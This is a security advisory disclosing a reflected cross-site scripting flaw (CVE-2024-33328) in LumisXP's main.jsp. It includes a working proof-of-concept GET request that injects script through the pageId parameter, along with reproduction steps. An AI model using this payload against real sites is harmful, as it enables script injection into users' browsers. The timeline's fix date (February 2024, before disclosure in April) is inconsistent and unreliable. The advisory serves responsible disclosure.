=====[ Tempest Security Intelligence - ADV-6/2024
]==========================

LumisXP v15.0.x to v16.1.x

Author: Rodolfo Tavares

Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of Contents]==================================================
 * Overview
 * Detailed description
 * Timeline of disclosure
 * Thanks & Acknowledgements
 * References

=====[ Vulnerability
Information]=============================================
 * Class: Improper Neutralization of Input During Web Page Generation
('Cross-site Scripting')
 ('Improper Neutralization of Input During Web Page Generation ('Cross-site
Scripting')') [CWE-79]

 * CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N - 5.4

=====[ Overview]========================================================
 * System affected : LumisXP
 * Software Version : Version - v15.0.x to v16.1.x
 * Impacts :
 * Vulnerability: A cross-site scripting (XSS) vulnerability in the
component main.jsp of Lumisxp v15.0.x to v16.1.x allows attackers to
execute arbitrary web scripts or HTML via a crafted payload injected into
the pageId parameter.

=====[ Detailed
description]=================================================
* XSS [GET
/main.jsp?lumChannelId=00000000F00000000000000000000002&lumPageId=LumisBlankPage&lumRTI=lumis.service.doui.selectstructureelement.selectPage&pageId=%22%2c%20print()%2c%0d%22aaa
]:

1 - Send the link by inserting the XSS payload into the pageId= parameter.

```
GET
/main.jsp?lumChannelId=00000000F00000000000000000000002&lumPageId=LumisBlankPage&lumRTI=lumis.service.doui.selectstructureelement.selectPage&pageId=%22%2c%20print()%2c%0d%22aaa
```
2 - Verify that in the response your payload will be executed.


=====[ Timeline of
disclosure]===============================================

 2/Apr/2024 - Responsible disclosure was initiated with the vendor.
 12/Apr/2024 - LumisXP Support confirmed the issue;
 16/Fev/2024 - The vendor fixed the vulnerability
 29/May/2024 - CVEs was assigned and reserved as CVE-2024-33328

=====[ Thanks & Acknowledgements]========================================
 * Tempest Security Intelligence [1]
 * Rodolfo Tavares
 * Niklas Correa

=====[ References ]=====================================================

 [1][ [https://cwe.mitre.org/data/definitions/79.html]
 [2][ [https://www.tempest.com.br|https://www.tempest.com.br/]]
 [3][Thanks Filipe X.]

=====[ EOF ]===========================================================

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